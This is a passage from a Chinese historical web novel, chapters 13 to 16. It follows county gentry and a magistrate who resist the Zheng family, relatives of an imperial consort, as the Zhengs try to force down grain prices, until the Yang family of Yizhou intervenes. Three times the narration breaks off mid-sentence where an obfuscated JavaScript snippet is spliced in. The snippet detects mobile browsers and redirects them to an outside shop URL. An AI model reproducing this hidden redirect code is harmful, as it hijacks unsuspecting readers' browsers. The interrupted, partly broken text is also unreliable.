“哎,小的这就去。” 罗管家去找县丞时,南溪县码头云来客栈的小厮跑来梅家和贺家,小厮送来掌柜的话,只说县里来了一户姓郑的,听口音是外地人,排场大得很,郑家的管事打听南溪县收粮之事,掌柜问了价,中等稻谷只肯给二十文钱一斗。 小厮送完话就走了,梅长湖和贺宁远两人对视一眼,两人眼里都是担忧,郑家,外地人,那么多姓郑的,是哪户郑家? 梅长湖心里有所感:“贺兄,你说会不会是顶上的那户郑家?” 贺宁远明白梅长湖所想,他也不知:“临江府郑家原来做的是丝绸瓷器生意,粮食生意倒是没听说过。” 粮食生意本地州府做一做就罢了,若是要往返南北做粮食生意,走陆路要打点各州府路官山匪,走水路要打点各地码头水匪等,走一趟生意要带上大量人手。 一句话,要做大粮商,顶头压得住场面的人,管事的手腕,护卫打手都少不了。 “也难说是不是那家,不过临江府郑家若是靠着家里出了个贵妃想做大粮商的买卖也说得过去,才插进来就欺行霸市,未免太霸道了些。” “是不是临江府郑家,叫人去打听打听就知道了。” “若是呢?若来人是临江府郑家,人家就是想压价买粮,咱们还能如何?劝百姓别卖?” 不卖不可能,百姓还能着钱使呢。 “若真是临江府郑家,那就要看罗县令的态度了。” 梅长湖道:“罗县令大小是个官儿,他若是不肯帮郑家压价,郑家也占不到多少便宜。” 二十文的价钱太离谱了! 梅长湖眼眸微沉:“贺兄,别忘了,郑家可是出了个后妃的,郑贵妃还有个儿子,若真是闹大了,郑家人欺压百姓低价收粮,这是要做什么?” 焉知朝堂上的大人们,不会以皇子与民争利弹劾郑家? 若是心狠,把皇子与屯粮联系起来,天子一怒,郑家还不知落得何等下场。 “可……别说南溪县了,就说叙州府也只是个西南边陲的州府,和京城距离太远,一时之间,跑一趟来回,只怕黄花菜都凉了。”贺宁远叹气。 梅长湖叹气:“只能先看看再说了。” 新朝建立后,没有战乱,接连两任县令都是有良心的官员,南溪县的百姓日子过得还算不错,可这个不错,也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120986|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跟其他过得更苦的百姓相比。 就说清溪村的百姓吧,好不容易碰到个丰收年,村里家家户户都指着卖粮的这点钱做点事,粮食还没收进粮仓卖粮的钱就被安排出去了。若是叫他们知道,今年粮价贱成这样,只怕要哭的晕过去。 罗县令和县丞商量完粮价之事后,县丞即刻叫捕头去县里周边各村通知里正,今年新粮的价大概在三十文到三十五文,其他县差不多也是这个价,叫他们别被人骗了去。 待县丞走后,罗县令叫人把梅家、贺家、孙家三家的当家人请来。 来了南溪县大半年了,罗县令心里也知道,在南溪县这个小地方,真有门路的只有梅家、贺家、孙家、王家四家。 王家人在白水村,当家人又是个夫人,天快黑了不便去请,只好请梅家、贺家、孙家人来。 孙浔并不知道罗县令请他所为何事,路上梅长湖把郑家压价买粮之事说了后,孙浔只问:“可是临江府郑家?” 梅长湖和贺宁远不知,罗县令给了肯定的回答:“正是临江府郑家。” 孙浔和梅长湖对视一眼,两人想到了从李道长那儿听来的消息,难道是大皇子不妥,二皇子的母家,郑家人觉得自家有希望了,这就张狂起来了? 只看郑家给的价,就不是正经做生意的人家,以势压人,定然是有什么倚仗。 罗县令并不知道京城的事,他凭借当官的直觉做出反应:“郑家毕竟是出了后妃的,还有个皇子,不可轻易得罪,三位看,可该如何是好?” 孙浔道:“大人既然已经派人去各村了,咱们可先看看郑家那位管家的反应再说。另外,为了稳妥起见,大人明日可派人给叙州府知府田大人通个气。” “这田大人是什么来路?” 新任知府田国柱半个月前才上任,罗县令上月去叙州府拜会了田知府一回,只知道田知府也是寒门子弟出身,其他一无所知。此时听孙浔毫不犹豫地说出田知府,罗县令立刻意识到孙浔知道些他不知道的事。 孙浔笑了笑道:“田知府出身寒门不假,但田知府也是当朝首辅姚炳最喜爱的弟子之一,今年因为奉皇命清理山东田亩得罪了人,这才从京城下放至叙州府任知府。” 奉皇命,首辅的弟子,就这两个词就能让罗县令知道,田知府背后有人,背后之人还是郑家得罪不起的人,罗县令顿时又惊又喜。 皇上扶持寒门,罗县令这样平庸的寒门子弟是大多数,顶不上什么事儿,田知府这样有背景有手段的寒门之人,才是前途无量的人。 孙浔怕罗县令太过担忧,又道:“田知府官声不错,是个有为之人,定不会为了独善其身就不顾治下百姓。” 罗县令心里彻底稳了:“不用等明日,本官立刻写信,坐船连夜走水路送去叙州府。” 他罗叔岩得罪不起郑家人,郑家人如今也得罪不起当朝首辅的弟子,看看郑家会不会为了捞这点银子舍出命去。 想到郑二管家的嘴脸,罗县令是真的怒了。 14. 第 14 章 县里的衙役晚上出城去各村通知今年新粮的价,在普通百姓看来,这是县令大人体恤他们,怕他们上当受骗。但在赵氏和王苍母子二人看来,十分不寻常。 隔日一大早,王苍比往常早了半个时辰进城,到了先生家后立刻去拜见先生。 孙浔见王苍一大早来,还是问粮食的事,满意地点了点头:“不错,是个心里有成算的。” 王苍:“还请先生告知,昨日傍晚县里可发生什么大事了?” 孙浔也不拖延,把昨日一个姓郑的粮商低价采粮之事告知王苍:“你家的良田比渔娘家的良田还多些,白水村还是离县城最近的村,只怕今日郑家就会去你家买粮。” “先生,这郑家什么来路?” 孙浔淡淡道:“郑家那个管家,昨日一到县里就给罗县令递了帖子,这个郑家的主家出身临江府,家里出了个后妃。” 王苍心头一惊,立刻明白这个郑家是二皇子母族:“先生看,我家该如何处置?” “粮食是你家的,卖不卖,什么时候卖,当然是该你家处置。你不用着急,郑家毕竟是外来户,罗县令不会相帮,郑家带着一群管事小厮想压价买粮,那也成不了。” “罗县令不配合,郑家若是找更上面的人……” 孙浔笑道:“昨日罗县令连夜给叙州府知府送信,今日上午回信应该也到了,郑家有没有本事以势压人,很快就知道了。” “多谢先生指点。” 王苍即刻叫小厮王连立刻赶马车回家,把郑家买粮之事告诉母亲。 贺文嘉和渔娘来孙家读书,贺文嘉见王苍皱眉站在孙家大门口,笑道:“你来得早呀,怎么你的小厮走了?” 王苍对两人点点头:“家里有点事,叫王连回去一趟。” 贺文嘉哦了声,一脚迈进先生家,忍不住抱怨:“昨日先生留的功课你可做完了?我昨儿晚上忙到戌时才写完,可累着我了。” 王苍应和了两声,和贺文嘉并肩走进院子。 进去书房,渔娘一边摆放笔墨一边问王苍:“你叫王连回家是为了卖粮之事?” 渔娘昨儿写功课也忙得很晚,早上用早食时听她爹说到卖粮,渔娘那时才知道有人盯上了南溪县这块不算肥的肥肉。 王苍点头:“昨日天都黑了,衙役进村敲锣去各家通知粮价我就觉得不寻常。” 贺文嘉还傻傻的:“卖粮?王苍你家要卖粮啊?” 渔娘白了他一眼:“你家虽没有粮食可卖,昨日贺叔被请去县衙你不知?” “出什么新鲜事了,快告诉我,快告诉我!”贺文嘉眼睛一下亮了。 “来了个外地人,想借罗大人仗势欺人低价买粮,罗大人没答应。” 虽没答应,罗大人到底是个七品芝麻官儿,怕得罪了手眼通天的郑家,昨儿晚上只怕也焦心的睡不着。 贺文嘉眼里的光一下没了,怒得一拍桌子:“这还了得,百姓好不容易好过些,这些人远远就闻着味儿来敲骨吸髓,可恨!” “气什么气,除了把百姓逼反的时候,其他时候上面人什么时候在乎过底下百姓如何?不过蝼蚁罢了。前日写的策论你忘了?” 前日讲的是前朝立国除了世家之外的支持,议论天下民不聊生,百姓怒而反之集中在前朝的旗帜之下反了。 前朝立国后,免税不过一二年,百姓又重新过上了之前的日子,赋役繁重,压得百姓直不起腰。待到前朝末年几次天灾,几次兵祸,百姓活不下去了,又反了前朝,建立了如今的皇朝。 贺文嘉泄气:“咱们家这样的小家族都能过得不差,那些世家大族过得就更好了,怎么还……” 渔娘淡淡道:“人心不足罢了,欲壑是没有尽头的。” 除非被毁灭! 郑二管家没有罗县令的支持,他也没放在心上,找了几个当地带路的人,就跑去县下各村收粮。 郑家人一出城罗县令就收到消息了,张县丞前来禀报,愤恨道:“郑家太不把您放在眼里了。” 罗县令不慌,也不生那份闲气,因为这会儿他已经收到知府大人的回信了。 罗县令眼中含笑:“人家家里出了个贵妃,哪里用得着把我等小官放在眼里?罢了,他要收粮就去收吧。” 张县丞着急:“可百姓无辜啊。” 都说铁打的县丞,流水的县令。县令走走去去,县丞若是没有门路往上走,几乎是上任干到老。 张县丞就是南溪县本地人,亲朋也在本地,来了个外地人想欺压他们,张县丞自然不高兴,巴不得县令大人跟郑家打将起来,把郑家赶出去。 “昨日捕快衙役不是下乡通报了嘛,郑家买不着粮的。”有了知府大人的话,罗县令眉目都舒展起来了:“你亲自去一趟码头,下午有几个叙州府来的粮商要来咱们南溪县收粮,你多帮衬些。” “大人,还有粮商要来?” “嗯,知府大人听说咱们县来了粮商,给咱们县又叫了几个粮商过来。多几个粮商,百姓们也有个选。” “这……” 罗县令笑道:“放心,知府大人亲口提的粮商,自然是不差的。” 张县丞怕叙州府那个知府大人也想派自己人来南溪县分一杯羹,来的人跟郑家人是一丘之貉,他奉命去码头接人时,心里还十分担忧,直到他接到人,听到来的粮商报出的价后,张县丞心头大喜。 张县丞把几位粮商请到客栈住下后,立刻去码头上叫了个干活的本家人侄子:“你先别忙,赶紧回村里一趟,跟家里人说,叙州府来了几个大粮商,买粮价最低三十文一斗,要卖粮的,叫他们赶紧收拾好送县里来。” “哎,我这就去。” 张县丞吩咐时没有背着人,码头上其他许多干活儿的劳力也听到了,机灵的人也赶紧回村里传递消息,不能让自己家吃亏了。 在码头上干活的都是县城附近村里的百姓,昨天来的那伙姓郑的出二十文一斗的价钱收稻子大家伙儿都知道,压价压得这般狠,他们如何能卖? 可这些大粮商哪里是普通百姓得罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129468|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得起的,如今有其他大粮商过来买粮,还不赶紧着脱手。 郑家的管事小厮去县城附近几个村跑了一遍,一粒粮没收着,消息报到郑二管家处,郑二管家冷笑:“真当我郑家拿他们这些地头蛇没办法了?” 郑家这次往叙州府派了二十几个管家收粮,郑二管家只是其中一个,他必不肯落后的,正要吩咐管事用些手段,一个郑家的小厮连门都没敲就推门进来。 “二管家不好了,前头客栈里来了几个粮商,出价三十文一斗稻谷。” “谁敢跟郑家争食?”郑二管家一拍桌子站起来,怒火冲天。 “来的是益州府杨家二房的三儿子杨密。” 郑二管家敢打着郑家的旗号以势压人,杨三郎自然也不会隐藏身份。 益州府杨家不在前朝的世家谱上,可杨家的底蕴一点不比郑家这等二流世家弱。即使郑家在今朝靠着家里出了个后妃在朝堂上有了名号,益州府杨家也是不怕他们的。 江南虽好,偏远之地的大族也有自己的生存之道。 天高皇帝远,皇帝对偏远州府的控制远不如江南地区,杨家又知情识趣,知道低调做人,有杨家这么个听话的大族在益州府卧着,皇帝也不会想大动干戈灭了杨家。 强龙压不过地头蛇,益州府杨家,才是本地真正的地头蛇,郑家比不过。 能在郑家当上管家,脑子就差不了,郑二管家亲自去拜访杨密,杨密请郑二管家喝茶。 郑二管家在杨密面前说话,比在罗县令面前客气多了。话里话外的意思,甚至有些拉拢杨家,说什么圣上夸二皇子聪慧之类的话。 杨密说话和气,郑家如何京城如何他并不关心,他来南溪县只是为了处理一件事,他只是告诉郑二管家:你们郑家,捞过界了! 郑二管家黑脸离开,立刻写了信,叫小厮走水路送回郑家。 两人谈话就在客栈大堂,也没避着人,郑二管家走后,南溪县该知道消息的人就都知道了。 梅长湖羡慕地跟闺女说:“叫我看,江浙还是太扎眼,我们梅家若是原来就在此地繁衍生息,就算比不过杨家,也不会叫郑家这样的家族欺负了。” 瞧瞧杨家,人家说话多硬气。 渔娘赶着去书楼做功课,只道:“爹你别做梦了,益州府杨家的大宗生意是跟草原上做的,咱们家哪有门路跟草原上的那些人打交道?” 淮安富裕又水路交通顺畅,养活得了许多大大小小的家族。云贵川这些地方可就不同了,人家能立起来,靠的是综合实力,那叫一个口齿伶俐、拳脚不俗,像梅家这样只会做生意可行不通。 梅长湖羡慕杨家,罗县令佩服的却是田知府。田知府到任才一月有余,就能使动杨家人了,不愧是首辅大人的高足,手腕就是高。 南溪县粮铺的掌柜们听到消息也松了口气。 昨日郑家人对他们这些粮铺掌柜又是拉拢又是威胁他们收粮价必须定的比郑家低,否则就叫他们的铺子开不下去,他们敢怒不敢言,幸好杨家来了。 15. 第 15 章 柿子拣软的捏,郑家不仅派人来了南溪县,叙州府其他州县也去了人,没过几天,罗县令收到高县、珙县、长宁等地同僚来信。 郑家人在当地压价收粮,有点良心的硬抗着等到了知府回信,撑不住的只能任他们去了,郑家在其他县收到了不少的粮食。 或早或晚,田知府治下的州府都收到了他的亲笔信,郑家和益州府杨家人打对台,杨家更胜一筹。 郑家人来势汹汹,这般被杨家压下去到底是没脸,就算如此,郑家也不敢跟杨家人针锋相对,反而往后退了几步,压价买粮的管事小厮全部走了,郑家的主子专程从江南来叙州府处理这起事情。 益州府杨家家大业大,叙州府的生意是杨家二房在管,杨密是杨家二房的三子,这段时日一直留在南溪县。 这日,郑家四房的二儿子郑昂,走水路从江南赶来南溪县见杨密。 郑家的管家小厮在外趾高气扬,郑昂这个郑家的少主子面上瞧来道是个谦逊的人,一见面就对罗县令道不是,说家里的下人调教不当,给罗县令添麻烦了。 “我郑家四房,大伯官任户部左侍郎,领着大房堂兄妹们一大家子过日子,二伯三伯家子嗣凋零帮不上忙,如今临江府偌大一个郑家只我父亲领着我和大哥两人照管,忙的时候家都难回一趟,没想到家里下人倒是做起主子的主来,惹下这般大祸,幸好有杨兄弟帮我郑家解了围。” 罗县令被郑家下人请来时心里有几分忐忑,此时却诧异郑昂姿态如此之低,心里作何想暂且不说,罗县令笑着道:“无碍,家家有本难念的经。” 郑昂对罗县令笑着点了点头,扭头对杨密道:“我家大伯常说,益州府杨家是传了十几代的大族,行事有度,时常教导我们兄弟多跟杨兄家学学,郑家若是能像杨氏这般枝繁叶茂传承几百年,他也就再也无所求了。” 杨密亲手给郑昂倒茶:“我杨家不过是小家族罢了,跟你们士族谱上的大家族比不了,郑兄客气了。” 郑昂谢过杨密,端起茶喝了口,笑道:“我郑家在世家谱上不过是三流家族,前十都排不上,不过是空担个世家的名号,也就是个普通耕读之家罢了。” 郑昂和杨密你来我往,两人都客气不已,把自己的位置摆得低低的,叫不明白的人听去,可能会真觉得杨郑两家,是个只有几亩地开着个铺子讨生活的普通人家。 罗县令低下头喝茶,如今真是不一样了,前朝时还以上世家谱为荣,如今这些正得势的大族,恨不得跟世家两个字断了个干净,给自己戴上耕读之家、寒门子弟的帽子。 “听说这次杨家比往年提前了半月收粮,是因为田知府之故?据我所知,田知府到叙州府任职才一月有余,怎么这么快就联系上杨兄弟了?” 杨密垂眸:“这有什么稀奇?我杨家原本就开粮铺,今年各县丰收,我粮铺本来就要采买粮食,田知府通知叙州府各家粮商各州府税粮收完了,我们自然下乡收粮。” “原来如此。”郑昂笑了笑没多追问。 又喝了两盏茶,郑昂还要去叙州府拜见田知府,就不多留了。 “杨兄,我会在叙州府多留几日,等杨兄回叙州府了,我再上门拜访。” “那就恭候郑兄大驾了。” 除了郑昂进门时当了半盏茶工夫主客后,一直在当陪客的罗县令,闻言也站了起来,客气地送郑昂离开。 郑昂一走,屋里只剩下罗县令和杨密两人,罗县令十分想知道田知府和杨家是否有什么牵扯,但两人不甚熟悉,不好交浅言深,跟郑昂客气了两句,就先走了。 过了片刻,隔壁茶室的门响了,梅长湖的小厮打开门,赶紧请贵客进来。 “叫各位久等了,对不住。” 梅长湖笑道:“不过一会儿工夫,哪里就久等了。” 贺宁远:“左右我等也无事,正好喝杯茶闲聊几句。” 杨家在南溪县没什么房产,又收了许多粮食,运粮的船忙不过来,要找地方囤粮,杨家这段时日囤放粮食用的院子,大半是从贺家梅家手里租的,或是通过贺家和梅家介绍的,杨密明日就要走了,今日做东宴请了贺家、梅家、孙家,算作感谢。 中午宴请完,下午在茶楼喝茶,刚坐下郑昂就来了,杨密不好不见,就在隔壁茶室见了郑昂。 贺宁远让座,杨密哪里肯坐贺宁远的位置,推脱了几句,坐在贺宁远侧边,跟贺文嘉坐在一块儿。 贺文嘉佩服地给杨密端茶:“杨大哥你可真厉害,跟那姓郑的东拉西扯说了半天,那姓郑的试探来试探去的,你也不嫌他烦。” 孙浔皱眉:“二郎,好好说话。” 贺文嘉做了个怪脸,冲一个人坐在窗边的渔娘抬下巴:“你坐在窗边,偷听得最清楚,姓郑的说话是不是虚伪得很?” 杨密也看向渔娘,渔娘不好意思地轻咳一声:“贺二郎你别冤枉我,我只是看看风景,哪里就偷听了。” 至于姓郑的嘛,渔娘觉得虚伪说不上,也就正常生意人吧。 王苍默默点头,他也觉得那位郑昂,只是一般生意人罢了。郑昂先是压价买粮,现在又来推卸责任,又试探杨密和田知府的关系,这些都很正常,换一个精明些的人来也会如此。 杨密笑道:“压价买粮这事儿,还真怪不到郑昂头上,这事儿是郑家二房所为。” “哦,这是什么缘故?” “郑家四房,郑昂的大伯家都是做官读书的,还出了个贵妃,自然过得最好。郑昂家留守临江府老宅,借着郑家在京城的名声,掌着郑家大部分产业,肯定也是不差的。但郑家二房三房,家里没个出息的后辈,在京城靠着大房过日子,手里不宽裕,借着郑家的名声干点来钱的事,也正常。” 郑家出了个贵妃,还育有一个皇子,在皇帝和百官的眼皮子底下,哪里敢大张旗鼓做粮食生意,就算做,也要低调着做。 一个家族,做官的掌权,做生意的掌财,互相看顾,各行其道。 梅长湖道:“我说呢,郑家也不是穷人乍富,怎么做生意这般没脑子,原来是个生手。” 渔娘觉得:“郑昂也不完全清白吧,调动家里那么多管事,他们父子三人掌管着家里大部分生意,他们会不知情?” 杨密笑着望向梅家这位聪慧的小娘子:“大概是知道的,他可能没料到,二房的儿子好歹也在京城脚下过了这么些年,会做出这么蠢的事来。” 渔娘轻哼:“有什么想不到的,从上到下,在京城郑家人还有个惧怕,在他们眼里,咱们叙州府,南溪县,都是些上不了台面的玩意儿,欺负你也就欺负你了,还敢反抗不成?” 听听刚才郑昂说的那些话,虚伪至极。 还有,郑昂把罗县令请来,只在开头和罗县令说了句话,后头全是在跟杨密说,摆明了没把罗县令这个知县放在眼里,甚至还暗暗表达了不满。 弱肉强食!再怎么讲究体面,里面还是这些东西。 杨密含笑道:“孙先生怎么只在南溪县教书,若是孙先生肯去叙州府,我家大哥定然会盛情邀请您去我家,教我几个侄子读书。他们但凡有梅小姐一半聪慧,我家大哥都要感激涕零。” 贺宁远笑着道:“那你可别想了,孙先生是梅兄的师兄,那是一家人,肯定不会分开。” 孙浔笑着点点头。 贺文嘉好奇:“听说你家兄弟三个?可都成婚了?” 杨密点点头:“我家大哥已成婚多年,二哥前些年也成婚了,家里侄子侄女四五个,只剩下我还未成婚。” “杨大哥多大岁数了?怎么还未成婚?” “我看起来年岁很大?” 贺文嘉老实说:“听你说话,反正年纪不小了。” “我还未及冠。” 贺宁远、梅长湖都惊了,行事这般老练的年轻人,竟然还未及冠!不得了啊! “那你年岁也不小了,怎么还未成婚?” 杨密叹了声:“说来话长。” 说来话长嘛,那就不说了,接着喝茶。 杨密不是个话多的人,但问他什么,他都会认真作答,能说的直接说,不能说的就不说,跟这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144679|149462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说话挺舒服。 杨密做生意去过许多地方,也跟三教九流的人打过交道,听他说话特别有意思,贺文嘉拉着杨密说个不停。 有时候,贺文嘉还硬要拉上渔娘:“前两天你不是说通安州县志里的舆图画的不清晰嘛,杨大哥去过通安州,你问问他。” 杨密讶异:“梅小姐对舆图有兴趣?” 贺文嘉猛拍大腿:“何止感兴趣,她收集了许多书,几乎把云南府全境的舆图拼凑出来了,哪家小娘子像她似的喜欢这个呀。” 渔娘悄悄瞪贺文嘉,贺文嘉反应过来,轻咳一声:“那什么,她就是瞎看,平日里最喜欢的还是小娘子那些玩意儿。” 杨密笑了:“喜好不分男女,也不分高低贵贱,这有什么好避讳的。” 贺宁远在心里叹气,这个臭小子,说到兴头上都管不住自己的嘴。 贺文嘉拍着杨密肩膀:“哈哈哈,咱们英雄所见略同!” 贺宁远忍不住冲儿子瞪眼,贺文嘉默默坐下,哎,今儿说得有点多了。 王苍忍住笑,给贺文嘉倒茶,想说话时就多喝两杯茶吧。 杨密给三个年轻人开阔了眼界,贺宁远、梅长湖、孙浔三个一起做东请杨密吃一顿,算是感谢他,也算是提前给他送行了。 聊了一下午也算熟人,就不去中午的大酒楼了,听说杨密爱吃鱼,就请杨密去周家饭庄用饭,周家饭庄刚来南溪县,是以擅长做鱼打开名声的。 贺宁远进门就对周掌柜喊:“今天请客吃鱼,菜我就不点了,你看着上。” 周掌柜看了看他们人数,就笑着道:“行,先请几位去楼上坐,菜一会儿就上。” 贺文嘉走在杨密身边,热情给他介绍:“周家的家常鱼、藿香鱼、炸鱼、酸汤鱼都做得好吃,看你喜欢什么口味。” “听起来都很不错。” “哈哈哈,那一会儿都尝尝。” 过了片刻,热气腾腾的酸汤鱼上桌了,贺宁远招呼大家赶紧趁热吃。 正是用晚食的时,周家饭庄内宾客盈门,说笑声不绝于耳。而此时罗家书房,罗县令唉声叹气已经许久了。 婆子饭食都做好了,小厮去书房门口请了好几次,罗县令没胃口,门都不开。 刘氏陪着大嫂用了晚食,亲自端了饭食去书房。 自家夫人送的饭菜罗县令还是用了几口,只是确实吃不下,就放下了。 “老爷这是怎么了?中午那会儿您还有说有笑的,怎么晚上就这般了?” 罗县令叹气:“你不懂。” 刘氏一屁股坐下:“我是妇道人家,外头的事我是不懂,老爷跟我说说,说说,说不定我就懂了。” “唉,还是郑家的事。” “郑家的事不是已经了了吗?还有什么事?” 罗县令苦笑,哪里那么容易了了。 郑昂今日请他过去,开头只跟他说了一两句,后头就晾着他,说是赔罪,倒像是下马威。 “我是第一个把事情捅到田知府那儿的,郑昂亲自来叙州府,不过是为着田知府,根本没把我这个七品县令放在眼里。这次郑家丢了脸面,我这个告状之人,自然得不了好。” 田知府刚正不阿,又背景深厚,田知府在时估计郑家不会拿他如何,田知府若是不当叙州府知府了,后头不知道郑家会不会打压他。 刘氏急忙道:“他们打压老爷,老爷大不了不升官,咱们安安稳稳做一辈知县也挺好。” 寒窗苦读二十余年才得了这个位置,若是说对升官一点想法没有,那肯定是假话。罗县令担忧郑家,正是因为他还想升官。 对了,田知府! 田知府有个当首辅的老师,还是皇上的人,若是田知府肯庇护他,他罗叔岩也不用怕郑家,说不定还能踏上一条阳关大道。 “也罢,事情做了就做了,就看田知府如何了。” 上有所好,下必效之! 田知府既然是个为民做主的好官,那他罗叔岩也当个好官,希望田知府能把他看在眼里,拉他一把。 16. 第 16 章 天色将晚,梅长湖和贺宁远喝得脸色微红,醉醺醺的送别杨密后,各自家去。 马车停在家门口,渔娘扶她爹下马车。 梅长湖进门就清醒了大半,挽起袖子吆喝:“去,给老爷我泡一壶老鹰茶来。” 林氏带着儿子刚用了晚食,见父女二人回来了,笑道:“你们父女俩撇下我和二郎去外头吃宴席去了,还知道回来。” 渔娘忙凑到阿娘身边:“中午的宴席我可没去,我只跟爹晚上去周家饭庄吃鱼,不算宴席。” “你爹今日干什么了?” “我爹老实着呢,下午我和贺文嘉、王苍去茶楼找先生,我爹跟先生他们喝茶谈天,晚上用了顿饭就回来了。” 渔娘是她娘亲的贴身小棉袄,她娘问什么,她答什么。 林氏斜了梅长湖一眼:“坐吧。” “哎,我挨着夫人坐。”梅长湖笑着贴过去。 这会儿明秋泡了茶来,赶紧倒上,梅长湖端起茶吹了吹,抿了一口,从喉咙到肚子都舒坦了。 “爹,杨密嘴巴可真紧,晚上用饭那会儿,你和贺叔旁敲侧击,他竟一句都没吐口。” “说的不是废话嘛,咱们跟他不过是头回认识,你问人家就答?” 郑昂想知道杨家和田知府有何关系,梅长湖和贺宁远也想知道。 下午见杨密跟几个孩子聊得来,晚上又应了邀约去周家饭庄吃饭,就觉得处得还行,梅长湖和贺宁远两人就想从杨密那儿多知道些消息。 梅长湖喝了半盏茶,软靠着椅子,双手放在肚子上,慢声道:“杨密虽然没有明说,可也没有避讳说到田知府,这也能说明一些事。” “比如?” 梅长湖笑着坐起来,轻敲女儿额头:“你贺叔说叙州府境内多江河,好些年都未疏浚江河了,河里泥沙攒了不少,若是再不疏浚,只怕堤坝不稳,来往商船都不好走了。杨密听后是怎么说的?” “杨密说田知府是干实事的人,这一两年定会治理河道。”渔娘还记得。 “田知府是湖广德安府人,跟叙州府离得远,再说了,田知府当官后一直在京城做官,田知府跟杨家怎么扯得上关系?” “不能是田知府到任叙州府后和杨家一见如故?”外地来的官员跟当地大族搞好关系都是常见操作了。 梅长湖摇摇头:“田知府不是那等人,就算田知府来了叙州府后跟杨家才有来往,疏浚河流这种大事,田知府也不可能告诉杨密。” 田知府初来乍到,衙门积压的公事、本地大族之间的关系只怕都还未理清楚,要办大事没个准备,一切未定之前,定然也不会贸然告诉一个外人。 除非只有一个缘由,田知府认为杨密是自己人,这才会提前告诉他。 当然,田知府认杨密是自己人,杨密肯定也认田知府是自己人,才会接下买粮这吃力不讨好,还十分得罪人的买卖。 “生意人嘛,吃什么都不能吃亏,若是肯吃亏,定然是有其他更大的进项。” 渔娘听得累人,叹气道:“爹,你说了那么多,也没说杨家跟田家究竟有何关系。” “哼,要是人家肯明说,还用得着咱们在这儿猜吗?” 林氏听了会儿道:“明面上没有牵扯,那肯定是姻亲上有联系。” 世家大族之间互相联姻都是常事,改朝换代后,前朝一部分当权者没落,新的当权者崛起,这时候大族之间嫁娶维护关系的就更多了。 就比如梅家吧,新朝刚建立的头一年,梅家族里嫁娶了十几个。 “梅家是小家族,虽不像大族来往都是权贵,可也能从嫁娶的人家中看出一二,杨家这样的大族,打算的就更远吧。” 听娘亲这般说,渔娘也开窍了:“听说田知府只是小地主出身,户部郎中也是他老师扶持上去的,杨家就算要拉拢人脉也拉拢不到他一个五品郎中身上,杨家和田知府这般互相信任,应该是中间有田知府老师的缘故吧。” 梅长湖大笑一声:“聪明,不愧是我梅长湖的闺女。” 林氏笑道:“当朝首辅姚炳虽然不是世家出身,姚家在陕西潼关也算是大族,世代家里都有人做官,家族在当地颇有声望。否则,当初皇上起事时,也不会拉上姚炳,甚至立朝之初就让姚炳以不惑之年的年纪上任内阁首辅。” 渔娘算了算年纪:“不得了,当了十四年首辅今年才五十多岁?” “不止,听说姚炳当首辅时四十多岁出头,如今应该快六十了。” 梅长湖很敬佩姚炳:“姚炳跟着皇上打天下,皇上封了四公八六侯,四公当中,其他三位国公都是凭军功封爵,只他是唯一一个封国公爵位的文官。” “姚炳深的当今信任,在首辅这个位置上坐了十四年,可他依然不忘初心,坚持要清算天下田亩。”梅长湖道:“太难得了!” “清算多少了?” “清算大半了,田知府今年把山东啃下来了,如今只剩下江苏、安徽、浙江、江西、福建这几个地方还未清算完。” “啧,这几个地方自古以来就是世家大族盘踞的地方,想从他们手里扣土地出来可不容易。” 所以说,还未扶起来的寒门,和元气恢复了大半的世家又要斗起来了。 王苍此时还未归家,正在孙家跟先生请教。 王苍:“皇上若是求稳妥,当初就不该如此着急清算天下田亩,若是肯等一等,等寒门的势力压过世家,那时也会少许多阻力,清算天下田亩会进行的更顺利。” 孙浔笑道:“想法是好,但你漏算了人心。” 若皇上不趁开国时几乎将世家打残了时扶持寒门,强推清算天下田亩,那寒门上来的那些人只怕已经站到世家那边去了,清算天下田亩无人支持,也别想推行下去。 如今嘛,世家打压寒门,上位的寒门子弟只能是皇上的人,大部分不会被世家拉拢。 王苍斟酌道:“依先生看,世家以后当真没有兴复的希望了?” 孙浔深深看着王苍,半晌才道:“当今皇上在位时,世家没有任何机会。” “学生明白了。” 王苍这边明白了,贺文嘉没明白:“爹,当初若是拿着世家谱挨个杀过去,皇上哪还有如今的担忧啊。” 贺宁远没好气地抽儿子一巴掌:“你也是世家,皇上若是拿着世家谱一路杀下来,哪儿还有你?” 贺文嘉嘟囔:“咱们就事论事嘛。” “哼,若是杀人就能治理好天下,那就不会有这么多事了。” 贺宁远懒得跟傻儿子瞎扯,踹了一脚把人赶出去。 贺宁远独自坐在那儿,轻叹一声,前朝光耀门楣的世家谱,正是今朝的血泪史。 